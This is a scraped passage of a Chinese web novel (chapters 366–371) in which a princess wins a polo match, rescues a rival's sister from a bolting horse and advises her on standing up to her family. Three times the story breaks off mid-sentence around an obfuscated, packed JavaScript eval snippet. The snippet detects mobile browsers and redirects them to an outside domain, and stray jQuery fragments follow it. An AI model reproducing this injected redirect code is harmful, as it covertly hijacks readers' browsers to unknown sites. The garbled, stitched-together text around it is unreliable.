苏如嫣和苏如婧抬头,一时间不知道她叫的是不是自己。
“你们俩,会不会?”陆玥君不耐烦地开口。
“会一点儿。”苏如嫣点了点头。
苏如婧也跟着点了点头。
“行,去请令嘉郡主,让她和我们打一场三对三的马球。”陆玥君冷冷一笑,让丫鬟去找棠云婋。
到时候她和陆珮君还有大表妹林疏雨组队。
让苏家这两个只会打一点点的废物和棠云婋组队。
她要在永安王面前打败棠云婋,她要一雪前耻。
她要所有人都看到棠云婋丢脸的样子!!!
第366章 本郡主的人
“你怎么亲自来了?让下人来叫我不就好了。”谢翊宁一抬眼看见棠云婋,眼角眉梢便不自觉地漾起笑意。
“你都亲自来找我了,”棠云婋轻轻一笑,“我当然也得亲自来见你呀。”
谢翊宁听到这话,笑意加深。
“荷花酥好吃么?”
棠云婋摇了摇头:“还没吃呢,等你回去一块吃。”
谢翊宁心情更好了。
婋婋有什么好吃的都惦记着他,她对他可真好。
但下一瞬,他的心情就不美丽了。
陆玥君的丫鬟走了过来,先是规规矩矩地给两人行了礼。
随后转向了棠云婋,声音带了几分不易察觉的轻颤:“郡、郡主万福。我家小姐与苏姑娘正在马球场组局,只是还缺一个人。”
“小姐特地吩咐,说郡主马术精湛,若是肯下场,定、定能增色不少。还请郡主务必赏光。”
小丫鬟欲哭无泪。
上回芙蕖姐姐随三小姐出门,办事不力,害得三小姐和夫人丢了面子,回来便被罚跪在碎石子上整整一夜。
第二天膝盖血肉模糊,连路都走不了,还被扣了半年的月钱。
一想起芙蕖姐姐惨白的面容和浑身是血的膝盖,她就浑身发冷。
这回三小姐撂下了话:“若是请不来人,你自个儿掂量后果。”
她不敢想象自己会落得什么下场,只能在心里一遍遍默念:郡主千万要答应、千万要答应啊……
她还没等到郡主的回答,就听到了永安王“啧”了一声。
小丫鬟吓得把脑袋垂得更低了。
谢翊宁看着哆嗦得跟个鹌鹑似的丫鬟,冷笑道:
“你们陆家可真行啊,前脚派个小子来缠本王,后脚就让你来请郡主。你们府上人缘可真够差的。”
“怎么着,别人不愿意搭理你们,就专挑我们两个脾性好的来薅是吧?真当我们什么破铜烂铁都肯应付?”
小丫鬟被他这话吓得身子都要站不稳了,扑通跪了下去。
“奴、奴婢只是奉命行事。”
棠云婋看向了观赏区的陆玥君,也跟着“啧”了一声。
这位陆三小姐可真有意思。
上回罚跪还没让她学乖么?
还想找她的茬?
她抬头看向谢翊宁,若有所思道:“先前他们也找你了?”
“是啊!”谢翊宁毫无保留把陆池找自己的事情告诉她了。
听到陆池的名字,棠云婋一怔。
她想起了做鬼时候听到晏明远说过想让她和陆池成冥婚。
她下意识地看向了陆池的方向。
随后一怔,原来是他?
“你认识他?”谢翊宁敏锐地察觉到了棠云婋听到陆池的名字之后神色有所变化。
棠云婋摇了摇头,随后又迟疑地点了点头:“认识吧……”
谢翊宁皱起了眉头,也看向了陆池。
一个黄毛小子,有什么值得婋婋关注的地方?
看着棠云婋欲言又止的神色,他猜测背后或许有什么隐情。
但他知道这里不是谈话的好地方,直接跳过了这个话题。
“那你想和他们打么?”
“打呗。”棠云婋勾起了唇角。
“陆三小姐这么热情地邀请我,我再拒绝她,多伤她的心啊。”
陆玥君的丫鬟先去找了陆池,让他找谢翊宁打马球。
如今又要找自己比赛。
啧啧啧,她这心思昭然若揭啊~~~
“告诉你家小姐,本郡主挑了马就来。”棠云婋低头看向了跪在地上的小丫鬟。
小丫鬟痛哭流涕,连连点头:“多谢郡主。”
随后站起身一瘸一拐地跑回陆玥君面前告诉她这个好消息。
“婋婋,你真要和她们打吗?”谢翊宁眉头皱了起来。
他心底是一百个不情愿。
有这闲工夫陪那些无趣的人周旋,还不如他们二人骑马漫步,自在清静。
“当然要打,还要一次把她打怕。”棠云婋弯起唇角,眼底漾开明媚又狡黠的笑意。
“省得她心怀不轨,想跟本郡主抢人。”
自打被阿娘点明心意后,她就像忽然开了窍。
从前模糊难辨的情愫如今一眼就能看透。
方才陆玥
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198632|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
君望向王爷的眼神,她刹那间便心领神会了。
陆玥君对谢翊宁有好感。
“抢人?”谢翊宁没反应过来。
“你没看到她看见我俩有说有笑那气急败坏的样子么。”棠云婋冲陆玥君的方向努了努嘴。
谢翊宁不可思议道:“所以,她先前让陆池来请我打马球,是对我有意?”
棠云婋眼尾微扬,一脸理所当然地点头。
“这不是显而易见的么。你生得这般好模样,身份地位又显赫,性子还那么有趣,待人又真诚又周全,她想当你的王妃不是很正常么。”
谢翊宁被她两句话哄得先前那点小小的不开心顿时烟消云散。
他端着姿态,轻哼一声:“她想也是白想。本王认定的王妃,从头到尾就只有你一个。”
话刚说完,他才像是突然回过味来,眼睛倏地一亮。
“所以……婋婋你待会儿是为了我才去应战的?”
“当然,本郡主的人,她连肖想都不许。”棠云婋扬起下巴,理直气壮。
她这话说得霸道,谢翊宁却不恼反笑,嘴角越扬越高,只觉得这马场里的人真碍眼,要是他们全都消失就好了。
他就可以当场把婋婋揽进怀里了。
“没错!就是这样!”他笑声清朗,语气里全是纵容。
“那你去吧,我就在这儿等你。我的婋婋,必定会大获全胜。”
“那我去啦。”棠云婋冲他挥了挥手,转身挑马去了。
陆玥君看着两人说笑的模样,怒火中烧。
好在丫鬟带回来的消息还算让她满意。
她看向了苏如嫣姐妹俩:“你们待会和令嘉郡主一队,我们姐妹三人一队。”
苏如嫣对她下命令的语气很是不满,但又不敢得罪她,只得僵硬地点了点头。
随后陆玥君又看向了陆珮君还有大表妹林疏雨。
“咱们仨一队。”
她重点看向了陆珮君。
“好好打,若是让我输了。哼。”
她没说完但陆珮君也明白她话外的意思。
若输了,那就全怪她的头上。
第367章 赌郡主会赢
不一会儿,棠云婋挑好了马,慢悠悠地走到了她们面前。
陆玥君想起了上次的教训,虽然不情愿,但还是起身对棠云婋行了礼。
“臣女见过郡主。”
“起来吧。”棠云婋懒洋洋地开口,“听说你们还缺一个人?”
“是。”陆珮君回答。
“我这小表妹年纪太小,不好和咱们一起打,还差一人,希望郡主赏光。”
“可以。”棠云婋点头。
“但光打马球没意思,总得有点彩头吧。”
陆玥君没想到棠云婋会自己提,顿时兴奋了起来。
“郡主说得在理,自然该有彩头。”
她眼珠子一转,想出了一个好主意。
“不如就输的一方,答应赢的一方,一个请求吧。”
她还记着上回棠云婋让她在国公府下跪一事,她今日一定要一雪前耻。
听闻棠云婋亲生爹娘是一对再普通不过的百姓,她爹是穷秀才,她娘是猎户。
她在定远侯府那几年也没人教过她打马球。
这场比赛,陆玥君觉得她赢定了。
毕竟她学骑马打马球也有几年了,她就不信,棠云婋能赢得了她。
“陆三小姐这个彩头听着好听,但没什么诚意,还是说点实际的吧。”棠云婋摇了摇头。
所谓“一个请求”,看似简单,其中能做的文章可太多了。
她动动脚指头都能知道陆玥君赢了之后会想让她做什么。
无非就是记恨上回她让她下跪的事情,多半也会以牙还牙,说不定还会加倍奉还。
虽然她也不会输。
但她还是想提前把赌注说清楚。
省得陆玥君之后赖账不认,各种狡辩。
“那郡主想要什么呢?”陆玥君不耐烦地开口。
“陆三小姐家学渊源,祖父更是天下文官楷模,令人敬仰。”棠云婋将自己早已想好的赌注说了出来。
“不如这样。若你输了,便请陆太傅每十日点拨我两个哥哥一篇文章,直到明年科考。如何?”
国子监中固然不缺乏博学的老师,但与位居文坛顶点的陆太傅相比,终究逊色一筹。
陆太傅身为经筵主讲,常年为天子阐释经义,就算只能得到他只言片语的指点,对科场文章的理解也能更进一层。
若是兄长能够得到他的亲自指点,将来应试时必然更能把握要领,事半功倍。
她倒也不是没有想过别人。
譬如青山书院的山长李崇简,亦以学问著称,在士林中颇有声望。
但她杀了李兰亭,和李家那就是生死之敌。
虽然李崇简还不知道真相,但她也不愿意拿兄长去冒险。
想来想去,最适合的还是陆太傅。
陆玥君如今自己送上门来,真是打瞌睡就有人送枕头。
她怎么能不和她赌一场呢。
听到棠云婋的要求,陆玥君皱起了眉头。
祖父除了弟弟,已经许久没有指点过旁人了。
她没有把握说服祖父去指点棠云婋的两个哥哥。
但转念一想,她肯定不会输,有什么好犹豫的。
于是她自信地点了点头。
“可以。若你输了……”
陆玥君有些迟疑。
在场的还有永安王他们,她不想让永安王觉得她是一个恶毒的女子。
所以她不能让棠云婋输了之后下跪,她得另想法子羞辱她,
她顿了顿,露出了志在必得的笑:“若你输了,你骑马绕马场跑三圈,大声承认你技不如人,输给了我,如何?”
“可以。”棠云婋答应得十分果断。
有谢翊宁的命令,马场立刻清空了,不让旁人进去。
所有人都去了观赏区。
这位令嘉郡主,好像并未在人多的场合亮过相。
因而不少人都好奇地围了过来。
陆池和林楼霄也坐了下来。
林楼霄有些不解:“表妹为何非要跟那位郡主比试?”
陆池倒是知道三姐和令嘉郡主的恩怨,小声地跟他解释了起来。
林楼霄眉头微皱。
看来这位令嘉郡主不好惹啊。
表妹不会吃亏吧?
若她吃了亏,想必又要大发脾气了。
“听说她们打马球有彩头,咱们也赌一赌呗。”忽然有人开口。
陆池和林楼霄看了过去,是兵部尚书的幼子程昀在嚷嚷。
他一声吆喝,他的狐朋**就凑了上去。
全是一群爱玩的主,一个个眼里闪着唯恐天下不乱的光。
“赌什么?怎么赌?”当即有人迫不及待地追问。
“简单!就赌底下这两队姑娘,哪边能赢!”
程昀显然早就想好了,大拇指往场内一指,不假思索地嚷道:“小爷我押陆三小姐赢。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204248|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
r>他之前见过陆玥君和其他人打马球,那叫一个英姿飒爽。
而那位令嘉郡主,从未见过她在重大场合表现过会打马球,生父生母又是普通人,怎么可能赢得了陆玥君。
“光嘴上押多没劲,程小五,你拿什么出来赌?”有人起哄道。
程昀嘿嘿一笑,他顺手就把一柄镶嵌着宝石的**“啪”的一声拍在旁边的小几上。
“喏,小爷我刚得的宝贝,够不够彩头?”
这群纨绔子弟,最不缺的就是攀比的底气和玩闹的兴致。
当下就有人摘下了拇指上的玉扳指扔过去:“我跟!我也押陆三小姐!”
另一个笑嘻嘻的附和:“我押我爹新给我的那张火狐皮!也押太傅府的姑娘赢。”
一群人吵吵嚷嚷。
谢翊宁扭头看向一旁的停云。
停云当即会意,往后走了几步,将荷包里的金叶子全都倒在了堆满赌注的小几上。
“我家王爷押令嘉郡主赢。”
金光灿烂,映得周遭那些玉佩扳指都霎时黯淡了几分。
方才还人声鼎沸的看台,顷刻间鸦雀无声。
所有嬉笑、起哄、争执都像是被一刀斩断。
“永、永安王也要玩一把么?他,他没下错吧?”程昀有些结巴。
纨绔子弟也是分三六九等的。
他们这群人,平日里斗鸡走狗、掷金赌玉,自觉已是京城里顶会玩的一拨人。
但遇上永安王,他们就没什么底气了。
京城里谁不知道,永安王是最会玩也敢玩的头一份。
跑马、击球、投壶、宴饮,每一样他玩得都精通。
如今他忽然押令嘉郡主,莫不是这位令嘉郡主**不露相?
他觉得她一定会赢?
停云笑眯眯的再一次重复:“没错,程五公子,我家王爷押的就是令嘉郡主。你们不会玩不起吧?”
“怎么会!”
一石激起千层浪。
众人又嚷嚷了起来。
只是后边还没下注的人,直接都跟着永安王押棠云婋了。
程昀:“……”
他现在想重新选还来得及吗?
一旁的陆池和林楼霄忍不住皱起了眉头,看向场下正在做准备的陆玥君,眼里多了一丝担忧。
程昀瞧见他们还没下注,当即怂恿道:“陆池,你姐姐亲自下场,你不表示表示?”
第368章 马场生变故
陆池想了想,将手里的马鞭放了上去。
马鞭离手,众人这才发现鞭柄是打磨温润的紫檀木,首尾包着暗刻云纹的银饰,看着倒是雅致。
“我押令嘉郡主赢。”
程昀:“???”
陆池这个亲弟弟都不押陆玥君,他的匕首不会真没了吧。
“你不押你姐姐?”他不可思议地看着陆池。
陆池扭头看向表哥林楼霄,林楼霄当即随了一个不怎么值钱的玉佩,微微一笑。
“表弟押了郡主,那我便押表妹吧。”
众人:“……”
台上吵吵闹闹,马场里的几人正在商量战术。
棠云婋看着被分配到她身边的苏家两位姑娘,温和道:“你们不必太紧张,安全要紧,莫要摔了。”
苏如嫣点了点头。
苏如婧有些心不在焉。
她在想,如果待会她能进球,那么永安王的目光是不是就会落在她身上了?
棠云婋也没指望她们俩有多厉害,她的战术就是速战速决。
省得拖久了,被拖了后腿。
陆玥君也冲着自己队内的两人吩咐了下去。
“待会你们负责包围郡主,进球的事情就交给我。”
林疏雨点了点头。
陆珮君知道她说什么陆玥君也不会听,就懒得说了,也跟着点了点头。
马场的管事胡四被陆玥君叫过来充当裁判。
几人翻身上马。
陆玥君看着棠云婋上马的动作,眉头微皱。
棠云婋翻身上马的动作行云流水,看起来骑术似乎不错。
但此刻已经是箭在弦上不得不发,她握紧了手中的杆,只等着待会赢了棠云婋,将丢掉的面子找回来。
“咚——!”
一声铜锣骤响,开场便是激烈的争夺。
苏如嫣不打算去争,所以她的动作慢了一步。
陆珮君和林疏雨负责拦棠云婋,两人一开始就直奔棠云婋而去。
陆玥君得意洋洋,她想着苏家那两人肯定不敢跟她抢,棠云婋被二姐和表妹拦住,自然抢不过她。
就在她准备挥杆轻轻松松拿下胜利时,一道碧绿色的影子冷不丁猛地窜了出来。
陆玥君脸上的笑瞬间僵住,随后变成了难以置信。
竟然是苏家那个一直闷不吭声的二小姐?
只见苏如婧压低身子,球杆一伸,“啪”地一下,就把球从陆玥君眼皮子底下给捅走了。
“你!”陆玥君张脸都气得涨红了。
“你敢抢我的球?!”她感觉面子彻底挂不住了,催马就去追。
她的马比苏如婧的好,技术也更娴熟,她硬生生又挤开苏如婧,粗暴地把球重新夺了回来。
她抢回球,脑子里只想马上把这球打进去,好证明自己是场上最强的。
可就在她扬起杆子的刹那,听到了背后传来了惊呼声。
她一扭头,眼睛瞬间瞪大了。
棠云婋不知怎么的,竟然从陆珮君和林疏雨的包抄围堵里钻了出来,而且速度极快,直冲她而来。
棠云婋连人带马几乎腾空跃起了一小段,以一种不要命的架势强行切入,马身几乎要撞上她。
“你疯了吗!”陆玥君吓得尖叫。
看台上的陆池和林楼霄也绷紧了身子。
唯有谢翊宁气定神闲。
一旁的停云紧张得捏紧了拳头:“王爷,您就不担心郡主吗?”
“有什么好担心的。场上那堆人加起来都不够她一个人玩的。”谢翊宁懒洋洋地摇了摇手里的扇子。
停云听到这话,认可地点了点头,顿时放下心来。
也对,郡主的身手,可不是寻常女子能比的。
场上的球赛还在继续。
陆玥君想要将球带走,可棠云婋根本不给她机会。
她身体在马上绷成一道弧线,侧出半个身子,手臂长探,球杆精准地一磕一勾。
陆玥君只觉得手里一空,球就已经没了!
她眼睁睁看着棠云婋根本不做调整,借着前冲的势头,腰腹猛地发力,手臂一挥。
那朱色的小球“嗖”地一声,像长了眼睛一样,笔直地飞过小半个场地,干脆利落地撞进了球门。
“好!!!”
场边瞬间爆发出叫好声。
棠云婋坐回了马上,冲陆玥君微微一笑:“陆三小姐,承让了。”
陆玥君愣在原地,脑子里嗡嗡作响。
输了?
她怎么就输了?
她明明应该是赢的那个!
周围的喝彩声和棠云婋脸上的笑意将她脑袋里的怒火一瞬间就点燃了。
废物!
都怪陆珮君她们没把人拦住。
不然她也不会那么丢脸了。
开局才一刻钟的功夫,她竟然就输了。
极度的羞愤瞬间冲垮了理智,她猛地扭过头,看向了陆珮君。
“都怪你!”
她想也没想,抄起手里的球杆,用尽全身力气就朝着陆珮君的马屁股狠狠砸了下去。
那结实的球杆砸在马身上,发出“砰”的一声闷响。
陆珮君身下的马当时就惊了。
它发出一声凄厉痛苦的嘶鸣,整个马身猛地向上疯狂扬起,两只前蹄在空中乱蹬。
“啊——!”
陆珮君猝不及防,发出一声凄厉的尖叫。
她完全没料到有那么多人看着,陆玥君竟然会对她动手。
周围所有人都吓傻了,惊呼声四起。
这要是被甩下去,这位陆二小姐非死即残。
真是可怜,好好一个佳人就此要香消玉殒了。
千钧一发之际,距离最近的棠云婋猛地一踹马镫冲了过去。
“抓紧!”棠云婋吼出了声,手臂猛地发力,硬是靠着一股狠劲,把眼看要坠地的陆珮君猛地拽了回来,重重按在了自己身前的马鞍上。
两人在马背上撞得东倒西歪,棠云婋身下的马儿也不安地踏着步子,但她死死握着缰绳,硬是没让两人摔下去。
马背上的陆珮君脸色煞白,浑身无力,惊恐之下,她连眼泪都涌不出来。
那匹受惊的则嘶鸣着冲出了场地。
整个马球场鸦雀无声,所有人都被这电光火石间的变故惊得目瞪口呆。
原本还淡定的谢翊宁看到这一幕猛地站了起来,心都跳到了嗓子眼。
婋婋真是太冒险了。
若一个不小心,她也摔了怎么办。
他担心又着急,恨不得现在立刻冲过去看棠云婋如何了,有没有受伤。
但赐婚的旨意还没公布,他若直接冲过去,难免会有损婋婋的名声。
他可以不顾自己,但不能不顾婋婋。
他给停云一个眼神,停云当即道:“既然是令嘉郡主赢了,那这样东西就都给郡主当添头吧。诸位意下如何?”
谢翊宁:“……”
他是想让停云去九栀那边问问婋婋的情况,没让他去收战利品啊!
不过嘛,这些东西确实也该给婋婋。
她赢了,赢得那么漂亮,还救了人,本来就该有奖励。
于是他往程昀那些人的方向扫了一眼。
所有人不知道哪里来的默契,忽然异口同声道:“令嘉郡主马术超群,英勇无双,这些东西合该归郡主!”
“对对对!理当如此!”
众人忙不迭地点头附和。
停云美滋滋地收了起来。
“等等。”
谢翊宁忽然开口。
第369章 名声全毁了
众人不明所以地看着他。
谢翊宁面无表情道:“先前押了令嘉郡主赢的人,东西退给他们。本王的不必退,一同给郡主。”
他可没忘了。
陆池那小子押的可是婋婋赢。
他如今还没搞懂陆池和婋婋过往有什么渊源,那家伙的东西,绝不能经由他的手送到婋婋手里。
不就是马鞭么,他王府库房里多的是。
才不稀罕陆池的那一根。
这时,一个方才跟着押了棠云婋赢的公子哥儿赶紧插话。
“王爷,在下的那份也不必退了。郡主方才临危不乱,侠义心肠,实在令人钦佩,这点小玩意儿,是在下的一点心意!”
“对对对。”其他人再一次跟着附和。
陆池正欲开口,谢翊宁又道:“行吧,你们的不退了。但陆家小公子那份,停云,还给他。”
他话一出口,所有人的目光都落在了陆池身上。
陆池涨红了脸,一时间进退两难。
先前三姐姐的举动确实太过分了,但让他站出来说自己姐姐的坏话,他又张不开口。
只听谢翊宁又道:“陆二小姐没能拦住郡主,就差点被令姐害死。你这个弟弟没押她赢,还把马鞭输给郡主。她若是知道了,本王怕你小命不保。”
停云立刻心领神会,手脚麻利地将那根马鞭从一堆赌注里拣出来,塞回陆池手中。
“陆小公子,您还是拿回去吧。若您因此有了什么三长两短,王爷和郡主都会过意不去的。”
他们主仆二人一唱一和,直接坐实了陆玥君输不起残害姐姐的事实。
从今往后,众人一提起陆家三小姐,便知道她有多么的心狠手辣,多么的输不起。
陆池也意识到了这一点,脸色煞白,猛地攥紧手里的马鞭,急急替陆玥君辩解。
“不是的,我家三姐不是有意的,她只是懵了,不小心才打到我二姐的马上的。”
可他的话立刻被周遭七嘴八舌的嗤笑和议论淹没了。
“不小心?球杆挥得那么狠,我可是看得清清楚楚!”
“就是,要不是令嘉郡主手快,陆二小姐这会儿怕是要被马儿踩死了吧。”
“输了球就拿自家姐妹和马撒气,啧啧,这脾气可真了不得。”
这些议论从四面八方涌了过来,陆池张了张嘴,却发现所有的辩解都那么的苍白无力。
三姐在大庭广众之下动手,人人都瞧见了,他辩无可辩。
他看着周围那些讥诮怜、悯伴随着幸灾乐祸的眼神,颓然地闭上了嘴,脸色灰败地低下了头。
他明白,三姐陆玥君这名声,今日算是彻底毁了。
棠云婋抱着陆珮君下马,九栀赶忙过来接手。
陆珮君这才从先前的恐慌中回过神来。
“郡主,求您救救我,先给我请个大夫。”她强忍着眼泪,不让眼泪落下。
她感觉她的胳膊似乎断了。
就这样回了太傅府,长姐不在,一定不会有人关心她的死活的。
说不定还会故意晾着她,不让她治胳膊。
到时候若是落下终身残疾,那可就麻烦了。
若是之前,她定然不敢求助棠云婋,可刚刚是她不计前嫌救了她,她只能死死抓住这根救命稻草,之后再想办法报答她了。
“好。”棠云婋没有追问为什么,直接让九栀扶着她上马车,带她回摘星山庄。
她冷冷地瞥了陆珮君一眼。
陆珮君被她的眼神吓得一哆嗦。
但棠云婋没对她做什么,转身就走。
停云捧着那些战利品飞快追了上去,交给了她。
“这是您赢回来的,王爷让属下交给您。”
棠云婋一听就明白是怎么回事了。
有好东西,王爷总是第一时间想着她。
她微微一笑,没有推拒,直接收下了,而是拜托了他另一件事。
“劳烦你入城一趟,帮我把小季太医请来。”
“没问题。”停云二话不说地就答应了。
棠云婋走了,谢翊宁自然也不会继续留在这里。
他们都离开后,苏家姐妹也灰溜溜地离开了,赛马区只剩下呆愣愣的陆玥君和不敢吭声的林疏雨。
林疏雨瑟瑟发抖。
这个表姐先前那一杆子,真是吓坏她了。
她不止在心底庆幸了一回。
还好她离得远,还好表姐更讨厌陆珮君,不然遭殃的就是她了。
就在她不安地等着陆玥君发话时,一阵嬉闹声和杂乱的马蹄声由远及近。
程昀领着他那帮狐朋狗友,骑着马晃晃悠悠地下了场,径直朝着陆玥君围了过来。
程昀勒住马,用马鞭指着陆玥君,语气里充满了毫不掩饰的嘲弄。
“哟,这不是陆三小姐吗?还杵在这儿干嘛呢?还在回味您刚才那惊天动地的一杆子?啧啧,您那一球,实在厉害。”
旁边一个穿着绛紫骑装的公子哥儿立刻嗤笑接话:“可不么,把球杆打到马身上这样厉害的招式,我们可学不来。”
另一个人笑嘻嘻道:“你们快别说了,万一陆三小姐听得不高兴了,回头也给我们一人来一杆子,谁受得住啊?”
“哈哈哈哈哈哈哈。”这些纨绔子们爆发出一阵哄笑。
陆玥君一张脸顿时一阵青一阵白。
她打完那一杆子就后悔了。
这可不是在太傅府,随便她怎么欺负陆珮君。
被人看到了,麻烦可就大了。
但程昀可没耐心听她狡辩。
他不耐烦地挥了挥手:“行了行了,陆三小姐赶紧回府去吧。怎么,还等着你爹娘或者太傅大人亲自来请你?还是等着再找谁撒撒气?”
第370章 请郡主助我
陆玥君脸色煞白,哆嗦着嘴唇说不出一句话来。
最后只得“哇”的一声哭了,她从马上下来,捂着脸撒腿往外跑。
她的哭声没引来这些人的怜惜,反而让他们爆发出了更大的笑声。
林疏雨脸涨得通红,慌慌张张地跟了上去。
看到堵在前面的哥哥林楼霄,她仿佛看到了救星,赶忙道:“大哥,表姐她哭了,怎么办呀?”
林楼霄将眼前的一幕尽收眼底,他抿唇道:“罢了,此事不关你的事。明日咱们就跟姑祖母告别,回常州去吧。”
“为什么?”林疏雨不解地看着他。
不是说好了来京城姑祖母家过完中秋,呆到明年大哥下场科考之后再走么。
“京城大,是非也多,咱们还是不要卷进去了。”林楼霄拍了拍妹妹的肩膀。
“去吧,把涵雨叫来,咱们回去吧。”
林疏雨虽然不情愿,但也只能乖乖听大哥的话。
*
季行舟被停云请到了摘星山庄替陆珮君看胳膊。
他检查了两下,不以为意道:“脱臼罢了,小事一桩。”
听到这话,陆珮君一怔。
太好了,她还以为胳膊是断了呢。
说罢,他对旁边的双鲤吩咐了句:“扶稳她。”
随后,季行舟一手握住陆珮君的上臂,另一只手托住她的肘关节,指尖微微用力一探,确认了位置。
陆珮君咬着唇准备忍受接下来的剧痛,刚吸了半口气,只听极轻微的一声“咔嗒”。
季行舟松开了手,转身就去盆里净手:“好了。”
他一边洗手一边嘟囔:“这点小事,有必要找我来么。”
陆珮君愣在原地,小心翼翼地活动了一下肩膀。
那钻心的剧痛竟真的消失了,只剩下一阵阵酸胀感和被拉扯后的绵软无力。
一旁的双鲤看得目瞪口呆,这就完事了?
她忍不住感慨道:“小季大夫,你可真厉害!”
季行舟有些得意地看向双鲤炫耀道:“错了,我现在不是小季大夫,我是小季太医。”
“哇!那你可真厉害。”双鲤一脸崇拜地看着他。
没想到这个只会吃吃喝喝的小季大夫都混成了小季太医了。
两人闲谈间,听到了一阵低声啜泣。
扭头一看,是陆珮君在哭。
他们下意识地看向了一旁的棠云婋。
棠云婋摆了摆手,示意他们出去。
“让郡主看笑话了,多谢郡主。”陆珮君慌忙擦掉眼泪。
先前坠马的时候她没哭,被郡主所救她也没哭,但得知自己没事了,她忽然就控制不住哭了。
“没事。可要我派人送你回去?”看到她,棠云婋就想起了刚重生回来的自己。
陆珮君显然在太傅府过得并不算好,不然陆玥君也不敢在大庭广众之下就对她动手了。
她把人带走,陆珮君那两个丫鬟也没跟过来,显然没把她这个二小姐放心上。
她打算让自己的丫鬟跟着去一趟太傅府,多少能震慑一下太傅府那些“妖魔鬼怪”。
“多谢郡主。”陆珮君哽咽着道谢。
就在棠云婋要吩咐九栀和衔蝉一起送人的时候,陆珮君忽然叫住了她。
“郡主,有些事不知能否向您请教?”
“但说无妨。”棠云婋转过身,目光温和地看向她。
“如果至亲至爱的人都不相信你,任由别人欺负你,你会怎么做?”陆珮君直直地看着她。
她打听过这位令嘉郡主的过往。
知道她并非定远侯府的亲生孩子,在定远侯府过得也不算好。
可偏偏她却一步一步的,走得比所有人都更高、更远。
反观她,虽然是太傅府的嫡出小姐,父母健在,却过得十分糟糕。
她原以为能像长姐那样嫁一个寒门才俊,借此脱离家门。
可今日之事后,她却愈发迷茫。
她真的能等到这一天吗?
“当然是以牙还牙,以眼还眼了。”棠云婋微微一笑。
想要她命的人,如今坟头草都快三尺高了。
“可若实力不够呢?毕竟凡事都要求讲规矩……”陆珮君有些迟疑。
她也试图反抗过,可她的父母一个比一个软弱。
亲祖母去世得早,父亲被继祖母养成了唯唯诺诺的性子,母亲也是不争不抢的。
受了委屈只会让她们忍。
祖父自然就更偏心继祖母生下来的二叔。
陆玥君是二房唯一的嫡女,有继祖母的偏袒,祖父也对她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204251|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
更加偏爱几分。
她和长姐,在府里几乎没有存在感。
继祖母把表面功夫做得十足,吃穿住行也不曾亏待过他们,任谁都挑不出错。
只是那些折磨从不摆在明面上,看不见摸不着,却更让她喘不过气。
府里的下人都是人精。
知道继祖母真正偏心的是二房。
所以分到她们姐妹院里的,都是些见风使舵的。
她和长姐身边连个能说句贴心话的人都没有。
丫鬟婆子表面上恭敬,背地里却防着她们,一言一行都可能被报给继祖母和二婶。
每次她和长姐受了委屈,父亲就只会叹气,反复念叨“忍一忍就过去了”、“家和万事兴”。
母亲更是拉着她哭,怪她不懂事,怕她惹祸。
所有的委屈都被困在了规矩和体面几个字底下。
她真的不知道该怎么办了。
棠云婋毫不犹豫地开口:“那便养精蓄锐,借力打力。抓住机会,四两拨千斤。”
“一旦实力足够,就别再废话。”她的声音沉了沉,继续道。
“看准时机,一击即中。务必打狠、打痛,要让他们从此想起你的名字就痛不欲生,再不敢犯。”
“委曲求全换不来尊重,只有打出来的威风,才能立得住。”
“至于规矩。”棠云婋嗤笑一声,“我会让他们知道,我的规矩才是规矩。”
一席话如同一阵凌厉的风,劈开了挡在陆珮君眼前的那一层迷雾。
“我的规矩,就是规矩?”陆珮君喃喃自语。
棠云婋意味深长地看了她一眼,提醒道:“我若是你,今日就是最佳时机。”
陆珮君怔在原地,随后反应过来了,郡主什么都知道。
她鼻子有些发酸,冲着棠云婋郑重地行了一礼。
“多谢郡主指点,珮君懂了。郡主的大恩大德,我……”
她话还没说完就被棠云婋打断了。
“可千万别说什么来世再报,你好好活着,这辈子就报。”棠云婋一本正经地看着她。
陆珮君噗嗤一笑。
原来这位郡主竟然是这般有趣。
她郑重地点了点头:“您的大恩大德,我今生就报。所以……还请郡主助我一臂之力!”
第371章 上一世旧事
“你想让我怎么帮你?”棠云婋打量着她。
日后兄长要去太傅府请教功课,太傅府里没有她的人,总归不够安全。
若是让陆玥君把兄长算计了去,那就麻烦了。
陆珮君若是能支棱起来,对她来说是件好事。
陆珮君一字一句道:“恳请郡主借我两个得力的丫鬟,等过几日,我的伤好了,再让她们回来。”
郡主教她要借力打力。
那么如今她能借到的就是郡主的力,回府之后再用郡主的力去撬动祖父的力。
她要让祖父认清二房一家真面目。
她要在身边换上自己的人,立好她的规矩。
“可以。”棠云婋点了点头,眼中掠过一丝不易察觉的赞赏。
这位陆家二小姐,倒比她想象中更清醒。
